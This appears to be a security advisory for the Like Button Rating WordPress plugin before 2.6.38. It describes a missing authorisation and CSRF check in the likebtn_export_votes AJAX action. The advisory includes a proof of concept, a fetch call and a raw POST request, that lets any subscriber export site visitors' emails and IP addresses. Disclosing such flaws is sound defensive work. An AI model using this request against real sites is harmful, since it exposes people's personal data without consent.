Like Button Rating < 2.6.38 - Unauthorised Vote Export to Email & IP Addresses Disclosure

The plugin does not have any authorisation and CSRF checks in the likebtn_export_votes AJAX action, which could allow any authenticated user, such as subscriber, to get a list of email and IP addresses of people who liked content from the blog.

PoC

fetch(“http://example.com/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: new URLSearchParams({“action”:“likebtn_export_votes”,“separator”:“;”,“encoding”:“utf-8”,“fields[0]”:“user_email”,“fields[1]”:“ip”,“fields[2]”:“country”,“fields[3]”:“date”,“fields[4]”:“item_id”}), “method”: “POST”, “credentials”: “include” }) .then(response => response.text()) .then(data => console.log(data)); POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-Length: 161 Connection: close Cookie: [subscriber+] action=likebtn_export_votes&separator;=%3B&encoding;=utf-8&fields;%5B0%5D=user_email&fields;%5B1%5D=ip&fields;%5B2%5D=country&fields;%5B3%5D=date&fields;%5B4%5D=item_id